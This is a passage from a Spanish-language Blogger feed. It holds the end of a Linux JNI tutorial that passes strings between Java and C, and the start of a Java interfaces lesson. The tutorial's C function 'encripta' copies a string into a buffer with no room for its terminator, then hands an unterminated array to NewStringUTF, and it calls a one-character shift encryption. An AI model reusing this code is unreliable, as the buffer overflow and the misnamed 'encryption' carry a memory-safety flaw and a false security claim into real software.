&lt;b&gt;(env*)-&amp;gt;funcion&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Así es como quedaría:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;nombre = (*env)-&amp;gt;GetStringUTFChars(env,&lt;span style=&quot;color: red;&quot;&gt;name&lt;/span&gt;,NULL);&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;name&lt;/span&gt;&lt;/b&gt; es el nombre del parámetro &lt;b&gt;jstring&lt;/b&gt;,no del nombre del&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt; const char&lt;/b&gt;&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
Ya se podria usar este código,pero tenemos que seguir las normas de todo programador C, ver si se creo el puntero(si no es igual a &lt;b&gt;NULL&lt;/b&gt;) y liberar la memoria del puntero.&lt;br /&gt;
&lt;br /&gt;
Lo primero es fácil:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;b&gt;if (nombre == NULL) {&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return; // Terminamos la funcion&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Lo segundo se logra con una funcion propia de la API,no es simplemente usar free(),esa funcion es:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;ReleaseStringUTFChars o&amp;nbsp;ReleaseStringChars dependiendo con cual creamos el puntero.&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Le&amp;nbsp;posamos&amp;nbsp;tres argumentos,el entorno,el &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;jstring&lt;/span&gt;&lt;/b&gt; y el puntero a &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;jstring&lt;/span&gt;&lt;/b&gt;,el &lt;span style=&quot;color: purple;&quot;&gt;const char&lt;/span&gt;,en este caso:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;(*env)-&amp;gt;ReleaseStringUTFChars(env,name,nombre);&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div&gt;
Eso es todo,asi queda el código completo:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #557799;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#include &quot;HolaMundo.h&quot;&lt;/span&gt;

JNIEXPORT &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; JNICALL &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;Java_HolaMundo_saluda&lt;/span&gt;
  (JNIEnv &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt; env, jobject obj,jstring name)
{
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;nombre;
    nombre &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; (&lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;env)&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;GetStringUTFChars(env,name,&lt;span style=&quot;color: #007020;&quot;&gt;NULL&lt;/span&gt;);
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; (nombre &lt;span style=&quot;color: #333333;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #007020;&quot;&gt;NULL&lt;/span&gt;)
    {
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt;;
    }

    printf(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Hola desde JNI : %s&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;,nombre);

    (&lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;env)&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;ReleaseStringUTFChars(env,name,nombre);
    
}
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Compilamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;gcc -shared -I/usr/lib/jvm/$PJAVA/include/ -I/usr/lib/jvm/$PJAVA/include/linux/ -o lib$NAME.so $NAME.c -Wall&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
o&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;bash exec.sh -c&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div&gt;
Y ejecutamos:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;java HolaMundo&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
o&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;bash exec.sh -e&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-7Y1f10er7UkI08bZIsUWG-GagyC3uA0ZEr1YpRzZBk17ieHKlGsB4yQW0rBX0dSYGK2fx0zDFjSqlGN5TJKplit51eFmEG4m46XlvNF-NQrZ3W9DasM0v85myYFq5Iz0hTXr425hlnBR/s1600/String+java.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-7Y1f10er7UkI08bZIsUWG-GagyC3uA0ZEr1YpRzZBk17ieHKlGsB4yQW0rBX0dSYGK2fx0zDFjSqlGN5TJKplit51eFmEG4m46XlvNF-NQrZ3W9DasM0v85myYFq5Iz0hTXr425hlnBR/s1600/String+java.png&quot; height=&quot;408&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Por ultimo vamos a ver como podriamos retornar una String,supongamos que queremos hacer un algoritmo en C que cambie las palabras del string por el simbolo que sigue,esto es facil en C,luego lo retormamos y lo imprimimos en Java:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Así queda la clase Java:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #888888;&quot;&gt;// Archivo : HolaMundo.java&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: #bb0066; font-weight: bold;&quot;&gt;HolaMundo&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;native&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;saluda&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;String nombre&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;native&lt;/span&gt; String &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;encripta&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;String palabra&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
        System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;loadLibrary&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;HolaMundo&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
    
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;String &lt;span style=&quot;color: #333333;&quot;&gt;[]&lt;/span&gt;args&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
        System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Hola desde Java&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;HolaMundo&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;saluda&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Atheyus&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
        System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; HolaMundo&lt;span style=&quot;color: #333333;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;encripta&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Tiempo de Tux&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;));&lt;/span&gt;
    &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
    
&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Compilamos y generamos el .h:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;bash exec.sh -g&lt;/b&gt;&lt;/blockquote&gt;
El HolaMundo.h luce asi en estos momentos:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #888888;&quot;&gt;/* DO NOT EDIT THIS FILE - it is machine generated */&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#include &amp;lt;jni.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;/* Header for class HolaMundo */&lt;/span&gt;

&lt;span style=&quot;color: #557799;&quot;&gt;#ifndef _Included_HolaMundo&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#define _Included_HolaMundo&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#ifdef __cplusplus&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;extern&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;C&quot;&lt;/span&gt; {
&lt;span style=&quot;color: #557799;&quot;&gt;#endif&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;/*&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Class:     HolaMundo&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Method:    saluda&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Signature: (Ljava/lang/String;)V&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; */&lt;/span&gt;
JNIEXPORT &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; JNICALL Java_HolaMundo_saluda
  (JNIEnv &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;, jobject, jstring);

&lt;span style=&quot;color: #888888;&quot;&gt;/*&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Class:     HolaMundo&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Method:    encripta&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Signature: (Ljava/lang/String;)Ljava/lang/String;&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; */&lt;/span&gt;
JNIEXPORT jstring JNICALL &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;Java_HolaMundo_encripta&lt;/span&gt;
  (JNIEnv &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;, jobject, jstring);

&lt;span style=&quot;color: #557799;&quot;&gt;#ifdef __cplusplus&lt;/span&gt;
}
&lt;span style=&quot;color: #557799;&quot;&gt;#endif&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#endif&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Lo implementamos en el .c,así queda:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #557799;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#include &quot;HolaMundo.h&quot;&lt;/span&gt;

JNIEXPORT &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; JNICALL &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;Java_HolaMundo_saluda&lt;/span&gt;
  (JNIEnv &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt; env, jobject obj,jstring name)
{
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;nombre;
    nombre &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; (&lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;env)&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;GetStringUTFChars(env,name,&lt;span style=&quot;color: #007020;&quot;&gt;NULL&lt;/span&gt;);
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; (nombre &lt;span style=&quot;color: #333333;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #007020;&quot;&gt;NULL&lt;/span&gt;)
    {
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt;;
    }

    printf(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Hola desde JNI : %s&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;,nombre);

    (&lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;env)&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;ReleaseStringUTFChars(env,name,nombre);
}

JNIEXPORT jstring JNICALL &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;Java_HolaMundo_encripta&lt;/span&gt;
  (JNIEnv &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt; env, jobject obj, jstring word)
{
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;nombre;
    nombre &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; (&lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;env)&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;GetStringUTFChars(env,word,&lt;span style=&quot;color: #007020;&quot;&gt;NULL&lt;/span&gt;);
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; (nombre &lt;span style=&quot;color: #333333;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #007020;&quot;&gt;NULL&lt;/span&gt;)
    {
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #007020;&quot;&gt;NULL&lt;/span&gt;;
    }
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; size &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; (&lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;env)&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;GetStringUTFLength(env,word);
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; encripta[size];
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; tnombre[size];
    strcpy(tnombre,nombre);
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; i;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;for&lt;/span&gt; (i&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;i&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;size;i&lt;span style=&quot;color: #333333;&quot;&gt;++&lt;/span&gt;)
        encripta[i] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; (tnombre[i]&lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;);
    jstring word_en &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; (&lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;env)&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;NewStringUTF(env,encripta);
    (&lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;env)&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;ReleaseStringUTFChars(env,word,nombre);
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; word_en;
}
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Eso es todo compilamos y ejecutamos:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4f8X0-69Ke24LJvgjBuk7JY-x6848HVa0e0CrTehu8F4ViZOCYrkOeUyk1ueyizU1gpX4sDmjEMQNY3ZDimi00iKQ-u104FXFl2qT7f5dMY7L5XkSYKoc8nx4wH8xd-cl9ejw4utCecMa/s1600/encripta.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4f8X0-69Ke24LJvgjBuk7JY-x6848HVa0e0CrTehu8F4ViZOCYrkOeUyk1ueyizU1gpX4sDmjEMQNY3ZDimi00iKQ-u104FXFl2qT7f5dMY7L5XkSYKoc8nx4wH8xd-cl9ejw4utCecMa/s1600/encripta.png&quot; height=&quot;408&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Para lograr eso en Java usaríamos&amp;nbsp;StringBuilder,u otra opción pesada,pero en C asi seria,muy veloz,no voy a explicar las funciones dejo la documentación de ellas y de otras mas en el enlace que sigue:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;a href=&quot;http://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Enlace&lt;/b&gt;&lt;/a&gt;&lt;/blockquote&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/4578871364820453145/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/06/tutorial-jni-en-linux-parte-1.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/4578871364820453145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/4578871364820453145'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/06/tutorial-jni-en-linux-parte-1.html' title='Tutorial JNI en Linux parte 1'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBFW-wBeRk1cDhVGEfE2RZ_BU98W8GnpmCCslHNbjnSI1jYVac9paBqJnzQeqiorxY1uKs3S84NyGL2NBspWZjxt9DXhQZ-0glilLP90Q7hvOSkb5xb4lf_7NP-j9jEKzq2edxB_hu_G76/s72-c/javah.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-3662107455100033825</id><published>2014-06-05T15:59:00.001-05:00</published><updated>2014-06-07T17:32:04.487-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="interfaz"/><category scheme="http://www.blogger.com/atom/ns#" term="java"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="tutorial"/><title type='text'>Tutorial Java en Linux Basico 9</title><content type='html'>&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Interfaces&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Antes que comenzar con la entrada,quiero mencionar que ya no había hecho entradas desde hace mucho tiempo por distintas razones,espero que ya pueda volver a escribir entradas,tutoriales con la recurrencia de antes.&lt;br /&gt;
&lt;br /&gt;
Bien en este caso veremos la interfaces de java,no son interfaces gráficas(GUI) si no una implementacion de un tipo del propio lenguaje,así que esta entrada no esta relacionada con las interfaces graficas como Gtk,AWT,etc.&lt;br /&gt;
&lt;br /&gt;
Una interfaz es algo muy raro en Java,mas si tienen como base o vienen de lenguajes como Python,Ruby o Perl,si vienen de C o C++,podríamos decir que es como una cabecera de archivo,pero tampoco,así que olviden lo que saben de esos lenguajes y háganse una idea nueva de esta forma de programar.&lt;br /&gt;
&lt;br /&gt;
Las interfaces en Java sirven para varias cosas,unas de ellas son:&lt;br /&gt;
&lt;br /&gt;
Polimorfismo.&lt;br /&gt;
&lt;br /&gt;
Programación en equipo : Uso de plantillas.&lt;br /&gt;
&lt;br /&gt;
Abstracción.&lt;br /&gt;
&lt;br /&gt;
Herencia: Mas o menos.&lt;br /&gt;
&lt;br /&gt;
Primero que nada debe quedar claro que una interfaz es una clase que no hace nada,sabe que debe hacer pero no sabe como hacerlo,digamos que es un tipo de asesor de clases,los métodos o procedimientos incluidos en las interfaces son abstractos,lo que quiere decir que no hacen nada hasta que se implementen en la clase que los use,para definiros hay que recordar que se escriben así:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;abstract void hola(int parametro);&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
En void es el tipo de función o si es un procedimiento es &lt;b&gt;void&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
En hola es el nombre de la función o procedimiento.&lt;br /&gt;
&lt;br /&gt;
en (int parámetro) van los parámetros o los dejamos vació si es que no lleva alguno.&lt;br /&gt;
&lt;br /&gt;
No lleva llaves,ni siquiera vacías.&lt;br /&gt;
&lt;br /&gt;
